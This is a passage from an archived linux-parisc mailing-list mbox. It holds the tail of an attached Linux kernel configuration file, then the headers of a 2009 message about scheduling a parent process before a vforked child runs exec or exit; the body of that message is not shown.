# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_SIMTEC is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Graphics adapter I2C/DDC channel drivers
#
# CONFIG_I2C_VOODOO3 is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_PCA_ISA is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_STUB is not set

#
# Miscellaneous I2C Chip support
#
# CONFIG_DS1682 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_I2C_DEBUG_CHIP is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_TWL4030_CORE is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_AB3100_CORE is not set
# CONFIG_REGULATOR is not set
CONFIG_MEDIA_SUPPORT=y

#
# Multimedia core support
#
CONFIG_VIDEO_DEV=y
CONFIG_VIDEO_V4L2_COMMON=y
# CONFIG_VIDEO_ALLOW_V4L1 is not set
CONFIG_VIDEO_V4L1_COMPAT=y
# CONFIG_DVB_CORE is not set
CONFIG_VIDEO_MEDIA=y

#
# Multimedia drivers
#
# CONFIG_MEDIA_ATTACH is not set
CONFIG_MEDIA_TUNER=y
# CONFIG_MEDIA_TUNER_CUSTOMISE is not set
CONFIG_MEDIA_TUNER_SIMPLE=y
CONFIG_MEDIA_TUNER_TDA8290=y
CONFIG_MEDIA_TUNER_TDA9887=y
CONFIG_MEDIA_TUNER_TEA5761=y
CONFIG_MEDIA_TUNER_TEA5767=y
CONFIG_MEDIA_TUNER_MT20XX=y
CONFIG_MEDIA_TUNER_XC2028=y
CONFIG_MEDIA_TUNER_XC5000=y
CONFIG_MEDIA_TUNER_MC44S803=y
CONFIG_VIDEO_V4L2=y
CONFIG_VIDEOBUF_GEN=m
CONFIG_VIDEOBUF_DMA_SG=m
CONFIG_VIDEOBUF_VMALLOC=m
CONFIG_VIDEO_BTCX=m
CONFIG_VIDEO_IR=m
CONFIG_VIDEO_TVEEPROM=m
CONFIG_VIDEO_TUNER=m
CONFIG_VIDEO_CAPTURE_DRIVERS=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_HELPER_CHIPS_AUTO=y
CONFIG_VIDEO_IR_I2C=m
CONFIG_VIDEO_TVAUDIO=m
CONFIG_VIDEO_TDA7432=m
CONFIG_VIDEO_MSP3400=m
CONFIG_VIDEO_SAA6588=m
CONFIG_VIDEO_VIVI=m
CONFIG_VIDEO_BT848=m
# CONFIG_VIDEO_SAA5246A is not set
# CONFIG_VIDEO_SAA5249 is not set
# CONFIG_VIDEO_ZORAN is not set
# CONFIG_VIDEO_SAA7134 is not set
# CONFIG_VIDEO_HEXIUM_ORION is not set
# CONFIG_VIDEO_HEXIUM_GEMINI is not set
# CONFIG_VIDEO_CX88 is not set
# CONFIG_VIDEO_IVTV is not set
# CONFIG_VIDEO_CAFE_CCIC is not set
# CONFIG_SOC_CAMERA is not set
# CONFIG_V4L_USB_DRIVERS is not set
# CONFIG_RADIO_ADAPTERS is not set
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_VGA_ARB is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
# CONFIG_STI_CONSOLE is not set
CONFIG_SOUND=y
# CONFIG_SOUND_OSS_CORE is not set
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
# CONFIG_SND_SEQUENCER is not set
# CONFIG_SND_MIXER_OSS is not set
# CONFIG_SND_PCM_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
# CONFIG_SND_VERBOSE_PROCFS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=y
# CONFIG_SND_DRIVERS is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=y
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_USB is not set
# CONFIG_SND_GSC is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=y
# CONFIG_HID_SUPPORT is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
# CONFIG_USB_DEBUG is not set
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
# CONFIG_USB_DEVICE_CLASS is not set
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set
# CONFIG_USB_OTG_WHITELIST is not set
# CONFIG_USB_OTG_BLACKLIST_HUB is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=y
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_VST is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set

#
# TI VLYNQ
#
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
# CONFIG_EXT4_FS is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_FS_POSIX_ACL is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
# CONFIG_DNOTIFY is not set
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=0
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
CONFIG_DETECT_HUNG_TASK=y
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_SPINLOCK_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_BUGVERBOSE is not set
CONFIG_DEBUG_INFO=y
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
# CONFIG_DEBUG_MEMORY_INIT is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_SYSCTL_SYSCALL_CHECK=y
# CONFIG_PAGE_POISONING is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
# CONFIG_KEYS is not set
CONFIG_SECURITY=y
# CONFIG_SECURITYFS is not set
CONFIG_SECURITY_NETWORK=y
# CONFIG_SECURITY_PATH is not set
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
# CONFIG_SECURITY_ROOTPLUG is not set
# CONFIG_SECURITY_TOMOYO is not set
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=m
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
# CONFIG_CRC_CCITT is not set
# CONFIG_CRC16 is not set
CONFIG_CRC_T10DIF=y
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y

--SLDf9lqlvOQaIe6s--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Scheduling parent to run before vforked child calls exec or exit...
Date: Sun, 6 Dec 2009 12:56:57 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <119aab440912060956m29182481qa0c85fe27e6c92d4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1260122227 10293 80.91.229.12 (6 Dec 2009 17:57:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Dec 2009 17:57:07 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 06 18:57:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NHLLw-0003Di-3X
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Dec 2009 18:57:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756486AbZLFR4w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Dec 2009 12:56:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756948AbZLFR4w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Dec 2009 12:56:52 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:52025 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756486AbZLFR4w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Dec 2009 12:56:52 -0500
Original-Received: by bwz27 with SMTP id 27so3011352bwz.21
        for <linux-parisc@vger.kernel.org>; Sun, 06 Dec 2009 09:56:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=inaI9KJwriKBXftd+b2rimbntdkPqSKUC/NSjiuQEUo=;
        b=UaqIBx9OeVz6/NLkWpep+t5YMgjmnmQuIDqdnB70c14rDotvICD+7sS+rAsAYVN0uX
         GFKT7pGVOpXPZr/euiKy9UQsfhXdPMMMHPzzxLVza/CwTAg7SLVkbUev+0BwwqWtIlQc
         KQbtHOqxPkq8aQhDWcY837x54nDahDn4AKynE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=jBYFfnHCxjtM+B6SeZ3EgIRsYOJ3kIraF8JH8dCW2e4L2KC+QoaR4z8uY9hJ1yz5Ac
         bgEXoYTiyqed4j7d2TYRW7zuAfvFmOdIJOlPBc7Z3MT8yimMWirJxV6dAOKxIyPtuOxW
         x8G082QtK/MtklE0Ku0+m7pn0+oYRX/cDXV7c=
Original-Received: by 10.204.153.197 with SMTP id l5mr5969270bkw.109.1260122217092; 
	Sun, 06 Dec 2009 09:56:57 -0800 (PST)
X-Google-Sender-Auth: 9222f76cb6da97ad
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
